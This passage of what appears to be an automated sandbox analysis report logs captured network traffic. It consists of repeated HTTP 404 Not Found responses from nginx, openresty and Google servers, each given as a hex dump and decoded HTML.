6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.25.3.2</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.25.3.2Date: Thu, 07 Nov 2024 09:52:02 GMTContent-Type: text/htmlContent-Length: 561Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.25.3.2</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.25.3.2Date: Thu, 07 Nov 2024 09:52:05 GMTContent-Type: text/htmlContent-Length: 561Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.25.3.2</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.25.3.2Date: Thu, 07 Nov 2024 09:52:05 GMTContent-Type: text/htmlContent-Length: 561Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.25.3.2</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.25.3.2Date: Thu, 07 Nov 2024 09:52:07 GMTContent-Type: text/htmlContent-Length: 561Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.25.3.2</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.25.3.2Date: Thu, 07 Nov 2024 09:52:07 GMTContent-Type: text/htmlContent-Length: 561Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.25.3.2</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 07 Nov 2024 09:52:28 GMTContent-Type: text/htmlContent-Length: 167433Connection: closeETag: "652641ca-28e09"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 07 Nov 2024 09:52:31 GMTContent-Type: text/htmlContent-Length: 167433Connection: closeETag: "652641ca-28e09"Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 43 6f 64 65 50 65 6e 20 2d 20 34 30 34 20 50 61 67 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 09 62 75 74 74 6f 6e 2c 68 72 2c 69 6e 70 75 74 7b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 61 75 64 69 6f 2c 63 61 6e 76 61 73 2c 70 72 6f 67 72 65 73 73 2c 76 69 64 65 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 70 72 6f 67 72 65 73 73 2c 73 75 62 2c 73 75 70 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 7d 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 31 35 3b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 7d 20 6d 65 6e 75 2c 61 72 74 69 63 6c 65 2c 61 73 69 64 65 2c 64 65 74 61 69 6c 73 2c 66 6f 6f 74 65 72 2c 68 65 61 64 65 72 2c 6e 61 76 2c 73 65 63 74 69 6f 6e 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 65 6d 3b 6d 61 72 67 69 6e 3a 2e 36 37 65 6d 20 30 7d 66 69 67 63 61 70 74 69 6f 6e 2c 66 69 67 75 72 65 2c 6d 61 69 6e 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 66 69 67 75 72 65 7b 6d 61 72 67 69 6e 3a 31 65 6d 20 34 30 70 78 7d 68 72 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 68 65 69 67 68 74 3a 30 7d 63 6f 64 65 2c 6b 62 64 2c 70 72 65 2c 73 61 6d 70 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 6d 6f 6e 6f 73 70 61 63 65 2c 6d 6f 6e 6f 73 70 61 63 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 7d 61 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 2d 73 6b 69 70 3a 6f 62 6a 65 63 74 73 7d 61 3a 61 63 74 69 76 65 2c 61 3a 68 6f 76 65 72 7b 6f 75 74 6c 69 6e 65 2d 77 69 64 74 68 3a 30 7d 61 62 62 72 5b 74 69 74 6c 65 5d 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 20 64 6f 74 74 65 64 7d 62 2c 73 74 72 6f 6e 67 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 65 72 7d 64 66 6e 7b 66 6f 6e 74 2d 73 74 79 6c 65 3a 69 74 61 6c 69 63 7d 6d 61 72 6b 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 07 Nov 2024 09:52:33 GMTContent-Type: text/htmlContent-Length: 167433Connection: closeETag: "652641ca-28e09"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 07 Nov 2024 09:52:41 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 07 Nov 2024 09:52:49 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 09:52:55 GMTContent-Type: text/html; charset=UTF-8Server: ghsContent-Length: 1566X-XSS-Protection: 0X-Frame-Options: SAMEORIGINConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 